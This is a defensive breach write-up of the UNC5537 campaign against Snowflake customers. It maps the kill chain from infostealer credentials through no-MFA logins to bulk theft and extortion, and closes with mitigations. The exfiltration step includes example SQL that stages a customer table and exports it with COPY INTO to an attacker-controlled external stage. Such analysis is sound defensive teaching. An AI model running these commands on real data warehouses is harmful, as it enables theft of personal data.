Cloud Security Office Hours Banner

Snowflake / UNC5537 2024 — 2024

Step-by-step kill chain mapped to MITRE ATT&CK Cloud, sourced from official post-mortems and primary technical analyses.

April–June 2024 Critical Snowflake

UNC5537 / Snowflake – Infostealer Creds → No MFA → SHOW TABLES → Bulk Exfil → 100+ Orgs Extorted

A financially motivated threat actor tracked as UNC5537 spent months harvesting Snowflake credentials from infostealer malware logs, then systematically logged into victim Snowflake tenants — none of which required MFA — and exfiltrated large datasets. Over 100 organisations were hit including Ticketmaster (560M records), AT&T (73M records), and Santander Bank. Snowflake itself was not breached; the attack was entirely predicated on absent MFA and reused credentials.

100+ organisations compromised
560M Ticketmaster records
73M AT&T records
Threat actor: UNC5537 (financially motivated, extortion-focused)
📄 Mandiant / Google — UNC5537 report ↗ 📄 Snowflake security advisory ↗
🕵️ Initial Credential Acquisition — Infostealer Logs
01
Snowflake credentials harvested from infostealer malware logs collected over months
T1555.003 – Credentials from Web Browsers

UNC5537 sourced valid Snowflake credentials from infostealer malware logs — RedLine, Vidar, and Lumma stealer families had infected contractor and employee devices, exfiltrating saved browser credentials including Snowflake login URLs. The logs were purchased from underground markets or obtained from prior campaigns. Mandiant confirmed some credentials were years old and still valid because passwords had never been rotated.

Malware families: RedLine Stealer, Vidar, Lumma — browser credential dumpers
Credential age: Some logs dated years prior to the campaign — passwords never rotated
Why it worked: No Snowflake-side MFA requirement · No network policy allowlisting · No anomalous-login alerting
InfostealerRedLineCredential HarvestingT1555.003
Initial Access — Valid Credentials, No MFA
02
Attacker authenticated directly to victim Snowflake tenants — no MFA challenge
T1078.004 – Cloud Accounts

Using the harvested credentials, UNC5537 authenticated to each victim's Snowflake instance. Snowflake did not enforce MFA by default at the time — it was available but opt-in. None of the compromised accounts had MFA enabled, and no network policy restricted which IPs could connect to the tenants. The attacker connected using the SnowSQL CLI and the Snowflake JDBC driver to automate credential testing at scale.

Tools used: SnowSQL CLI, Snowflake JDBC driver, custom automation scripts
MFA status: Not enforced — opt-in at account level, not mandated by Snowflake platform policy
Network policy: No IP allowlist configured on any of the affected tenants
Detection gap: Logins from new IPs/countries generated no alert to account owners
No MFASnowSQLJDBCT1078.004
🔍 Discovery — Warehouse Enumeration
03
SHOW DATABASES / SHOW SCHEMAS / SHOW TABLES used to map all accessible data
T1619 – Cloud Storage Object Discovery

Once authenticated, UNC5537 ran Snowflake's native enumeration commands to identify all databases, schemas, and tables accessible to the compromised user. The commands are native SQL — no exploitation required. Because the accounts were often service accounts or analyst accounts with broad SELECT permissions, the full data landscape of the tenant was visible in seconds.

Commands: SHOW DATABASES; SHOW SCHEMAS IN DATABASE x; SHOW TABLES IN SCHEMA x.y;
Also used: SELECT * FROM INFORMATION_SCHEMA.TABLES to enumerate accessible objects
Typical finding: PII tables — customer names, emails, phone numbers, payment card data, SSNs
SHOW TABLESINFORMATION_SCHEMASQL EnumerationT1619
📤 Exfiltration — Staged and Extracted
04
Data staged with CREATE TABLE AS SELECT then exfiltrated via COPY INTO external stage
T1530 – Data from Cloud Storage

UNC5537 used standard Snowflake SQL to stage target data into temporary tables, then exported it via COPY INTO to an external stage (attacker-controlled S3 bucket or Azure Blob) or downloaded it directly via GET. Large datasets like Ticketmaster's 560M-row table were extracted over multiple sessions. Snowflake's query history log retained these commands, providing forensic visibility after the fact — but no real-time alerting fired during exfiltration.

Stage 1 — staging: CREATE TABLE attacker_export AS SELECT * FROM customers;
Stage 2 — export: COPY INTO @external_stage/dump.csv.gz FROM attacker_export;
Scale (Ticketmaster): 560M records, 1.3TB — sold on BreachForums for $500,000
Detection gap: No DLP on Snowflake COPY INTO · No alert on large external stage writes
COPY INTOExternal StageT1530560M Records
💰 Actions on Objective — Extortion
05
Victims contacted with data samples — ransom demanded, data sold on BreachForums when unpaid
T1657 – Financial Theft

After exfiltration, UNC5537 contacted victims directly with samples of stolen data as proof, demanding payment for deletion. When victims did not pay, datasets were listed for sale on BreachForums. The Ticketmaster database was offered for $500,000; AT&T data was listed separately. Mandiant assessed UNC5537 had at least one member residing in North America and coordinated with a partner in Turkey.

Extortion method: Direct contact to victims with data samples, ransom demand
BreachForums listing: Ticketmaster — 560M records, $500,000 · AT&T — 73M records
Actor attribution: UNC5537 — financially motivated, some members in North America and Turkey
ExtortionBreachForumsUNC5537T1657

🛡 How to Defend Against This Chain

Enforce MFA on all Snowflake accounts — especially service accounts. Snowflake now supports mandatory MFA policies at the account level. Enable it. This single control would have stopped the entire campaign — every victim account was compromised solely because valid credentials plus no MFA was sufficient to authenticate.
Configure Snowflake network policies to allowlist known source IPs. Snowflake NETWORK POLICY objects restrict which IP ranges can connect to a tenant. Lock production Snowflake access to your corporate egress IPs, VPN ranges, and known analytics tool IPs. A login from a residential or VPS IP should be impossible.
Monitor Snowflake QUERY_HISTORY for COPY INTO external stage operations. Any COPY INTO pointing at an external stage that isn't a known data pipeline target should trigger an immediate alert. Enable Snowflake's Access History and query the QUERY_HISTORY view in your SIEM. This is the single most reliable detection signal for this attack pattern.
Apply least-privilege Snowflake roles. Analyst accounts and service accounts should have READ access only to the specific schemas they need — not SELECT * on the entire data warehouse. Use Snowflake's role hierarchy and avoid granting ACCOUNTADMIN to any account used by applications or individual analysts.
Subscribe to credential-exposure monitoring services. Infostealer logs containing your organisation's credentials appear on underground markets before attacks. Services like SpyCloud, Hudson Rock, or Flare detect your credentials in infostealer logs. Integrate alerts to trigger forced password resets and MFA re-enrolment.